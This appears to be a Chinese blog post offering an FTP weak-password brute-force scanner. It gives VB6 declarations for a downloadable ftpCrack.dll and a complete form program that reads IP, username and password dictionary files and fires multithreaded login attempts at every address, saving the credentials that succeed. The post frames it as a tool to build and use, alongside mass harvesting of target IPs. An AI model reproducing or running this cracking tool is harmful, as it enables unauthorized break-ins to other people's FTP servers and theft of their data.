//鄙视一下优快云,不带源码的资源被删掉了 //实际上对于指向试用的人,不要积分的资源更合适 char *lpDownLoad = "http://download.youkuaiyun.com/source/2942279";
下载地址:http://download.youkuaiyun.com/source/2942279
结合上一篇文章(关于从搜索引擎批量获取域名转成IP),这次应该说更牛B:对ftp弱口令进行扫描
为了不至于成为泛滥的诱因,部分组件将在2011年新年到来之际失效,希望学习的抓紧时间啦!!!
采用多线程技术进行扫描,极大提高了扫描效率,下面是DLL的VB声明:
'long InitModule(long lpAccess) Private Declare Function InitModule Lib "ftpCrack.dll" (ByVal lpAccess As Long) As Long 'long AccessModule(HWND hWnd, long MaxThread, long lTimeOut, long lUsePort = 21) Private Declare Function AccessModule Lib "ftpCrack.dll" (ByVal hWnd As Long, ByVal MaxThread As Long, ByVal lTimeOut As Long, Optional ByVal lUsePort As Long = 21) As Long 'long ftpCrackThread(char *lpAddr, char *lpUser, char *lpPass) Private Declare Function ftpCrackThread Lib "ftpCrack.dll" (ByVal lpAddr As String, ByVal lpUser As String, ByVal lpPass As String) As Long 'void ShowRecords() Private Declare Sub ShowRecords Lib "ftpCrack.dll" () 'long ExitModule(long lForever) Private Declare Function ExitModule Lib "ftpCrack.dll" (ByVal lForever As Long) As Long 'long WaitForMultipleThread(HWND hWnd) Private Declare Function WaitForMultipleThread Lib "ftpCrack.dll" (ByVal hWnd As Long) As Long 'long WaitForSingleThread(HWND hWnd) Private Declare Function WaitForSingleThread Lib "ftpCrack.dll" (ByVal hWnd As Long) As Long
注释部分是函数原型,对于C/C++程序员,只要把ftpCrack.lib附加到工程,或者#pragma comment(lib,"ftpCrack.lib")即可
以VB为例,新建一个工程,粘贴下面的代码到窗体代码中编译即可(建议设置好窗体的相关属性)
Icon = 您的图标;
BorderStyle = 1;
MinButton = True;
以及工程的相关设置:版本啊什么的,然后代码是:
Option Explicit 'long InitModule(long lpAccess) Private Declare Function InitModule Lib "ftpCrack.dll" (ByVal lpAccess As Long) As Long 'long AccessModule(HWND hWnd, long MaxThread, long lTimeOut, long lUsePort = 21) Private Declare Function AccessModule Lib "ftpCrack.dll" (ByVal hWnd As Long, ByVal MaxThread As Long, ByVal lTimeOut As Long, Optional ByVal lUsePort As Long = 21) As Long 'long ftpCrackThread(char *lpAddr, char *lpUser, char *lpPass) Private Declare Function ftpCrackThread Lib "ftpCrack.dll" (ByVal lpAddr As String, ByVal lpUser As String, ByVal lpPass As String) As Long 'void ShowRecords() Private Declare Sub ShowRecords Lib "ftpCrack.dll" () 'long ExitModule(long lForever) Private Declare Function ExitModule Lib "ftpCrack.dll" (ByVal lForever As Long) As Long 'long WaitForMultipleThread(HWND hWnd) Private Declare Function WaitForMultipleThread Lib "ftpCrack.dll" (ByVal hWnd As Long) As Long 'long WaitForSingleThread(HWND hWnd) Private Declare Function WaitForSingleThread Lib "ftpCrack.dll" (ByVal hWnd As Long) As Long Private WithEvents tmrPrint As Timer Private WithEvents lblState As Label Private WithEvents lstResult As ListBox Private WithEvents cmdSave As CommandButton Private WithEvents cmdStart As CommandButton Private WithEvents txtPort As TextBox Private WithEvents txtThread As TextBox Private WithEvents txtTimeOut As TextBox Private lblPort As Label Private lblThread As Label Private lblTimeOut As Label Private Const FTP_USER_FILE = "ftp_user.dic" 'user dictionary file Private Const FTP_PASS_FILE = "ftp_pass.dic" 'pass dictionary file Private Const FTP_ADDR_FILE = "ftp_addr.txt" 'IP address list file Private lpUserName() As String, nUser As Long Private lpPassName() As String, nPass As Long Private lpAddrName() As String, nAddr As Long Public bBreak As Boolean Private Sub cmdSave_Click() Dim i As Integer If lstResult.ListCount = 0 Then Exit Sub Open App.Path & "/Result.txt" For Output As #1 For i = 0 To lstResult.ListCount - 1 Print #1, lstResult.List(i) Next i Close #1 MsgBox "Save OK!", vbInformation End Sub Private Sub cmdStart_Click() Dim lNumThread As Long, lTimeOut As Long, lSocketPort As Long Dim i As Long, j As Long, k As Long, s As String Static bRun As Boolean Dim ret As Long If bRun = False Then '"iplist.txt", "ftp_user.dic", "ftp_pass.dic" lNumThread = CLng(txtThread.Text) lTimeOut = CLng(txtTimeOut.Text) lSocketPort = CLng(txtPort.Text) tmrPrint.Enabled = True cmdStart.Caption = "停止(&S)" 'lstResult.Clear Me.MousePointer = 11 ret = AccessModule(lstResult.hWnd, lNumThread, lTimeOut, lSocketPort) 'ret的值: -32 --无效ListBox窗口句柄; -31 --无效端口号; -30 --超时时间应在[1000,10000]; ' -29 --不能加载Winsock; -28 --最大线程数错误 ->>会清除hWnd指向的ListBox的所有项目 If ret <= 0 Then MsgBox "Access Denied!", vbExclamation, "Caution" GoTo Finished End If nUser = 0 Open App.Path & "/" & FTP_USER_FILE For Input As #1 Do While Not EOF(1) Line Input #1, s s = Trim(s) If s <> "" Then ReDim Preserve lpUserName(nUser) lpUserName(nUser) = s nUser = nUser + 1 End If Loop Close #1 nPass = 0 Open App.Path & "/" & FTP_PASS_FILE For Input As #1 Do While Not EOF(1) Line Input #1, s s = Trim(s) If s <> "" Then ReDim Preserve lpPassName(nPass) lpPassName(nPass) = s nPass = nPass + 1 End If Loop Close #1 nAddr = 0 Open App.Path & "/" & FTP_ADDR_FILE For Input As #1 Do While Not EOF(1) Line Input #1, s s = Trim(s) If s <> "" Then ReDim Preserve lpAddrName(nAddr) lpAddrName(nAddr) = s nAddr = nAddr + 1 End If Loop Close #1 lblState.Caption = CStr(nUser) & " user names, " & CStr(nPass) & " passwords, " & CStr(nAddr) & " ftp address." ' bBreak = False For i = 0 To nAddr - 1 For j = 0 To nUser - 1 For k = 0 To nPass - 1 WaitForMultipleThread Me.hWnd ret = ftpCrackThread(lpAddrName(i), lpUserName(j), lpPassName(k)) lblState.Caption = "线程:" & CStr(ret) & " 正在扫描..." & lpAddrName(i) & "->>" & lpUserName(j) & "->" & lpPassName(k) Call ShowRecords If bBreak = True Then GoTo BreakOut Next k lblState.Refresh '每个用户重画一次状态 Next j lstResult.Refresh '最多每个IP重画一次 Me.Refresh Next i BreakOut: lblState.Caption = "正在等待所有线程终止..." 'lstResult.Refresh lblState.Refresh Me.Refresh WaitForSingleThread Me.hWnd ExitModule 0 Finished: bBreak = True Me.MousePointer = 0 tmrPrint.Enabled = False lblState.Caption = ">>游侠技术 http://blog.youkuaiyun.com/prsniper" cmdStart.Caption = "开始(&S)" bRun = True Else tmrPrint.Enabled = False lblState.Caption = ">>游侠技术 http://blog.youkuaiyun.com/prsniper" cmdStart.Caption = "开始(&S)" bRun = False End If End Sub Private Sub Form_Load() Dim ret As Long Me.Width = 6765 Me.Height = 5355 'Me.BorderStyle = 1 'Me.MinButton = True Me.Font.Name = "宋体" Me.Font.Size = 10 Me.ScaleMode = 3 Me.Caption = "ftpCracker" ' - http://blog.youkuaiyun.com/prsniper" Set tmrPrint = Controls.Add("VB.Timer", "tmrPrint") Set lblState = Controls.Add("VB.Label", "lblState") Set lstResult = Controls.Add("VB.ListBox", "ListBox") Set cmdStart = Controls.Add("VB.CommandButton", "cmdStart") Set cmdSave = Controls.Add("VB.CommandButton", "cmdSave") Set lblPort = Controls.Add("VB.Label", "lblPort") Set lblThread = Controls.Add("VB.Label", "lblThread") Set lblTimeOut = Controls.Add("VB.Label", "lblTimeOut") Set txtPort = Controls.Add("VB.TextBox", "txtPort") Set txtThread = Controls.Add("VB.TextBox", "txtThread") Set txtTimeOut = Controls.Add("VB.TextBox", "txtTimeOut") With tmrPrint .Interval = 200 .Enabled = False End With With lblState .Left = 8 .Top = 300 .Height = 17 .Width = 429 .Visible = True .Caption = ">>游侠技术 http://blog.youkuaiyun.com/prsniper" End With With lstResult .Left = 8 .Top = 8 .Width = 333 .Height = 290 .Visible = True .AddItem "http://blog.youkuaiyun.com/prsniper" End With With cmdStart .Left = 344 .Top = 8 .Height = 25 .Width = 93 .Caption = "开始(&S)" .Visible = True End With With cmdSave .Left = 344 .Top = 36 .Height = 25 .Width = 93 .Caption = "保存(&R)" .Visible = True End With With lblPort .Left = 344 .Top = 64 .Width = 93 .Height = 17 .Caption = "Port:" .Visible = True End With With lblThread .Left = 344 .Top = 104 .Width = 93 .Height = 17 .Caption = "Thread:" .Visible = True End With With lblTimeOut .Left = 344 .Top = 144 .Width = 93 .Height = 17 .Caption = "InterVal:" .Visible = True End With With txtPort .Left = 344 .Top = 80 .Width = 93 .Height = 19 .Text = "21" .MaxLength = 5 .Visible = True End With With txtThread .Left = 344 .Top = 120 .Width = 93 .Height = 19 .Text = "100" .MaxLength = 5 .Visible = True End With With txtTimeOut .Left = 344 .Top = 160 .Width = 93 .Height = 19 .Text = "3000" .MaxLength = 5 .Visible = True End With ret = InitModule(&H68647978) '虎胆游侠(hdyx=0x68,0x64,0x79,0x78) If ret <= 0 Then MsgBox "ftpCrack.DLL - Initialize Error!", vbCritical, "Error" End End If End Sub Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer) If MsgBox("确定退出吗?", vbQuestion + vbYesNo, "Query") = vbNo Then Cancel = 1 Exit Sub End If lblState.Caption = "正在等待所有线程终止..." WaitForSingleThread Me.hWnd ExitModule 1 End End Sub
希望各位能为网络的发展做出更大贡献,大侠声明:欢迎对本程序进行破解,同时知会一下本人.
谢谢!